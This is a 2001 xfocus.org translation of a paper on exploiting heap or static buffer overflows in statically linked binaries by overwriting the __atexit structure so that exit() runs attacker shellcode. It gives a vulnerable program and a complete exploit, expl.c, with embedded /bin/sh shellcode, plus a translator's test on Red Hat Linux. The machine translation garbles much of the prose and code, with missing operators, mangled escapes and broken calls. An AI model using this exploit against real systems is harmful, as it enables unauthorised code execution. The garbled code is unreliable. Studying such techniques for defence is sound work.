Buffer overflow attack by overwriting __atexit
Creation time: 2001-07-19
Article attribute: translation
Article Source:
http://www.xfocus.org/
Article submission:
Alert7 (sztcww_at_sina.com)
Buffer overflow attack by overwriting __atexit
- Static compiling version of HEAP overflow
Author: Pascal Bouchareine
Original: << __ atexit in membrate bugs -
Specific Proof of Concept with statically linked binaries and Heap overflows >>
Translation finishing: alert7
Home:
http://www.xfocus.org/
Time: 2001-7-19
Translator Note: This article may come out very early, I see that there is no one in the country, just
Translate a shared sharing, if there is any mistake, welcome to correct.
Mailto: alert7@21cn.com
Introduction:
This article discusses techniques similar to the overflow attacks that override .dtors to overflow. Furnish
It is a way to change the execution process of the program so that it will eventually perform the code we want to perform. This article
Suppose readers are familiar with ordinary buffer overflow technology.
Acknowledgment:
Thank Andrew R. Reiter to see this document and correct some errors.
content:
I. basic knowledge of atExit ()
II. Execution of Atexit ()
Iii. Conceptation concept
IV. Eggshell's positioning
V. Example of an Exploit
I. Atexit () Basic knowledge
Let's take a look at the manual first:
Name
Atexit - Register a function called in EXIT times
Synopsis
#include
int
Atexit (Void (Void))
Description
The atExit () function registers a given function, which is called in the program exit.
(Whether it is via EXIT (3) or by returning from the MAIN function of the program).
The registered function is called by the reverse sequence; there is no parameter. At least 32 functions can always be registered
As long as there is a sufficiently assigned memory, more functions are also allowed.
Take a look at the basic instructions of the following procedure:
Char * glob;
Void test (void)
{
Printf ("% s", glob);
}
Void main (void)
{
Atexit (TEST);
Glob = "exiting./N";
}
When executed, "EXITING" should be displayed on the standard output.
II. Execution of Atexit ()
Atexit is exported as a libc function.
The execution process uses a static ATEXIT structure that contains those who have been exited.
An array of functions called, insert a structure when calling the ATEXIT function (we
It will be called "fns"), there is a variable in the FNS to save the next empty index (we call
It is "IND"), when FNS is full, a pointer (we call it as Next) points to the next
The ATEXIT structure used.
Struct atexit {
Struct ATEXIT * NEXT; / * Next INDEX INT IND; / * Next INDEX IN THIS TABLE * /
Void (* fns [atexit_size]) (); / * the table itself * /
}
When Atexit () is called, it fills FNS [Ind], increasing IND, then IND is the next index in the FNS.
When FNS is full, a new Atexit structure is assigned, and its NEXT variable points to the last
The one used.
Note: General Atexit is not needed, it is set to
NULL.
When exit () is called, it analyzes the final defined Atexit structure and executes in FNS [Ind].
Function, reduce IND, and execute it in turn.
When exit () is called, you need to view some exit functions, however, Atexit () needs to write it.
The ATEXIT structure is assigned as a global symbol, (on * BDS is __atexit, on Linux
Is __exit_funcs and exported to other functions.
Translator Note: If you first read this article, you may ignore Atexit () and __atexit
(On * BDS is __atexit, it is __exit_funcs on Linux.
__atexit is an internal variable used by the ATEXIT function, and there is a chart below
How to use __atexit in Atexit ().
Iii. Conceptation concept
This part is not very accurate. Need to rely on the memory image, relying on your OS, also listed many
Other factors affect.
We must first know that __atexit is allocated in memory, and it is the address that can be rewritten there. So I
Write a simple example.
Extern void * __atexit;
Int main (void)
{
Static char scbuf [128];
Char * mabuf;
MABUF = (char *) Malloc (128);
Printf ("__ atexit at% p / n", __atexit);
Printf ("MalloCed at% P / N", MABUF);
Printf ("static at% p / n", scbuf);
Return 0;
}
Compiled, have the following results:
PB @ NOD [405] $ GCC -O at at.c
PB @ NOD [406] $ ./at
__atexit AT 0x280E46A0
Malloced AT 0x804B000
Static at 0x8049660
PB @ NOD [407] $ gcc -o at -static at.c
PB @ nod [408] $ ./at
__atexit at 0x8052ea0
Malloced at 0x8055000
Static AT 0x8052E20
The above is already enough to explain the problem. Memark you already know that the dynamic compiler is through one
Mmap () call to load the libc library function. (0x280e46a0) Now it seems that we can't modify
However, static versions are possible.
In static compilation binary, libc is saved in the HEAP area of the program, so the __ atexit location
Near our static scbuf. In this example, __ atexit and SCBUF differ from 0x80 bytes.
It means that they are positional continuous. If you understand the HEAP overflow, construct it should not be a difficult thing.
Construct your own Atexit structure behind the static character buffer, override __atexit variable, can make
EXIT () performs anywhere in memory. For example, perform our Eggshell. In order to construct it, I
We need to understand how atExit () uses the __atexit variable, look at the output similar to GDB:
0 127 128 132 136 140
(An Eggshell with NOPS) (INS) (FNS [0]) (FNS [1])
0x90909090 ..... 0x00000000 0x00000001 0xBffFFF870 0x00000000
For (p = __atexit; p; p = p-> Next)
For (n = p-> ind; - n> = 0;)
(* P-> FNS [N]) ();
The first method You can make 'ind' positive, such as the above map, which is 1, FNS [0]
The address of EggShell, but this constructed ATEXIT structure contains '/ 0'. I
They have no way to use.
The second method is to make P-> next point to the memory of the ATExit structure we carefully constructed.
We only need to be negative, or you can regardless of the array of FNs.
But how do we find that space?
IV. Eggshell's positioning
I have to do one or two beer for this.
Read the executation of Execue and the execution of the kernel Execve, so I remembered the first one I wrote.
C language program. We know that argc is the number of parameters, and Argv is an array ending with NULL.
(Including strings ending with NULL), ENVP is environment variable. A program being executed
It is easy to get this information.
Therefore, at the top of Stack, a "vector table" contains this information. Of course, some
Other (such as signal masks). Let's take a look at the storage of Argv on Stack:
0xBFBFFB60: 0x00000000 0x00000005 0xBFBFFC5C 0xBFBFFC84
0xBFBFFB70: 0xBFBFFC8A 0xBFBFFC8F 0xBFBFFC92 0x00000000
In this example, Argc is 5. There are 5 poutuses pointing to 5 Argv elements. The last one is the end of NULL.
I saw it so that you think of the Atexit structure? :)
The picture is perfectly depicted with the structure of the ATEXIT! IND = 5, argv [4] is the address called the function. all
Work is ready, but it is almost. We just speculate on the Vector Table on Stack
The correct address is ok, in __atexit-> next, fill in the address, in __atexit-> IND fill in the negative,
This is OK.
Guess the address of Argv [] needs to rely on your OS. I saw it /sys/kern/kern_exec.c,
Read this function:
/ *
* Copy Strings Out to the New Process Address Space, Constructing
* New arg and env Vector Tables Return a Pointer to the base
* SO That it can be used as the initial stack pointer. * /
REGISTER_T *
EXEC_COPYOUT_STRINGS (IMGP)
This function explains how to calculate the Vector Table address of Argv, your calculation based on address ps_string
(Stack's base address, LESS structure PS_String size), the size of the signal mask, "spare_userspace"
This variable is defined on my freebsd 256 (probably this variable is used by the setPROCTILE () function), and some
Other complex things.
In order to use the portable calculation method, I use the following self-calling methods to perform Argv [].
First, if you want to use a problem with a problem, you need to prepare the conditions. But can't
Special parameters call yourself. When the second call, the Argv should be properly positioned, and then again
Use problems with problems.
With these two technologies, I think you should have a high-efficiency buffer overflow method, and no longer need
Calculate OFFSET.
Translator Note: This two execve technology is very good, the address of the process of the process of EXECVE coming out is
the same. So you don't need to guess the address of Argv.
Note: For Format Bug, this technology sounds very powerful. __atexit in Exploit
It is often located at the same address of Victim. I suspect that this is because the mmap () assigned address begins with a fixed address.
As a traditional Format bug, you have the following string "AAAA% N $ x% 0xx% N", here AAAA is
In the address of the __atexit in your Exploit, n is the number of bytes you want to rewrite the address to the Stack. X is Argv []
Guess address.
[POST NOTE: In fact, these are already well known, there is mentioned in Phrack's magazine]
Similarly, you have an easy-to-fixed return address for the buffer overflow, you have a fixed return address: call yourself
--EGG should be placed in an environment variable - then call the address of Victim EGG.
V. Example of an Exploit
Take The Following Vulnerable Program:
Extern void * __atexit;
INT main (int Argc, char ** argv)
{
Static char scbuf [128];
Char * mabuf;
MABUF = (char *) Malloc (128);
Printf ("__ atexit at% p / n", __atexit);
Printf ("MalloCed at% P / N", MABUF);
Printf ("static at% p / n", scbuf);
IF (Argc> 1)
STRCPY (Scbuf, Argv [1]);
}
Scbuf [] size is 128. We need the string under the Craft:
OFFSET 0 128 132 136
[Xxxxxxxxxxxx ........] [aaaa] [bbbb] [0 ...]
128 bytes of X rubbish, AAAA is a guess ARGV address, BBBB is a negative number
(0xfffffffff) is OK), then the last byte is filled in 0.
We must pass the Eggshell as the last parameter to have a problem.
If there is a strict inspection, we will work hard. We are here
Discuss this, it will be interested in further research.
With a problem program, the following Exploit will generate a shell: --- expl.c ----------------- 8 <(lazy indenting this. :) ----- ------------
#include
#define prog "./vul"
#define heap_len 128
INT main (int Argc, char ** argv)
{
Char ** ENV;
Char ** arg;
Char Heap_buf [150];
Char eggshell [] = / * mudge's * /
"/ XEB / X35 / XC0 / X89 / X46 / XF5 / X83 / XC8 / X07 / X66 / X89 / X46 / XF9"
"/ x8d / x1e / x89 / x5e / x52 / x89 / x56 / x07 / x89 / x56 / x0f / x8d / x46"
"/ x0b / x50 / xb8 / x7b / x56 / x34 / x12 / x35 / x40 / x56 / x34 / x12 / x51"
"/ X9A / XE8 / XC6 / XFF / XFF / XFF / BIN / SH";
/ * Craft the first part of the chain, Pointing to Argv [].
** We need, of course, a NEGATIVE VALUE for Ind, or the real
** Atexit Default Will Be Called.
* /
MEMSET (Heap_buf, 'A', HEAP_LEN);
* ((int *) (Heap_BUF HEAP_LEN) = (int) argv - (2 * sizeof (int));
/ * In order to construct the ATEXIT structure * /
* ((int *) (Heap_buf Heap_Len 4)) = (int) 0xffffff;
* ((int *) (HEAP_BUF HEAP_LEN 8) = (int) 0;
/ *
** Build Environment. Argv [Argc-1] is set to whatver
** Eggshell you want. this, in a struct atexit context,
** Will be executed by exit.
* /
ENV = (char **) Malloc (sizeof (char *));
ENV [0] = 0;
Arg = (char **) malloc (sizeof (char *) * 4);
Arg [0] = (char *) malloc (strl) 1);
Arg [1] = (char *) Malloc (Strlen (Heap_buf) 1);
Arg [2] = (char *) Malloc (Strlen (Eggshell) 1);
Arg [3] = 0;
STRCPY (Arg [0], PROG);
STRCPY (Arg [1], Heap_buf);
STRCPY (Arg [2], Eggshell);
IF (argc> 1) {
FPRINTF (stderr, "using argv% x / n", argv);
Execve ("./ Vul", Arg, ENV);
} else {
Execve (Argv [0], Arg, ENV);
}
}
-------- Expl.c (EOF) ------------------------------------ ------ Author article is over, the above author is tested in FreeBSD.
Below is the test I did on Red Hat 6.0:
[Alert7 @ ww alert7] $ uname -a
Linux ww.alert7 2.2.5-15 # 1 mon Apr 19 23:00:46 EDT 1999 I686 Unknown
[Alert7 @ ww alert7] $ cat Vul.c
#include
EXTERN VOID * __EXIT_FUNCS;
INT main (int Argc, char ** argv)
{
Static char scbuf [128];
Char * mabuf;
MABUF = (char *) Malloc (128);
Printf ("__EXIT_FUNCS AT% P / N", __exit_funcs;
Printf ("MalloCed at% P / N", MABUF);
Printf ("static at% p / n", scbuf);
Printf ("Mabuf at% P / N", & Mabuf);
IF (Argc> 1)
STRCPY (Scbuf, Argv [1]);
}
[Alert7 @ ww alert7] $ gcc -o vul vul.c -static -g
[Alert7 @ ww alert7] $ ./vul
__exit_funcs AT 0x80778C0
Malloced at 0x8079b60
Static at 0x8078E40
Mabuf at 0xBffFFFDC0
[Alert7 @ WW 3779] $ CAT MAPS
08048000-08077000 r-xp 00000000 03:01 14361 / Home / Alert7 / Vul
08077000-08079000 RW-P 0002E000 03:01 14361 / Home / Alert7 / Vul
08079000-0807A000 RWXP 00000000 00:00 0
40000000-40002000 rw-p @000000 00:00 0
BFFF000-C0000000 RWXP 00000000 00:00 0
On Linux, we see the __exit_funcs address is 0x80778c0, which is writable. Static defined scbuf
The address is 0x8078E40, __ exit_funcs before scbuf, so I want to use SCBUF to overwrite
__exit_funcs address seems impossible. So discuss using __atexit on Linux
The attack of the buffer overflow is also lost.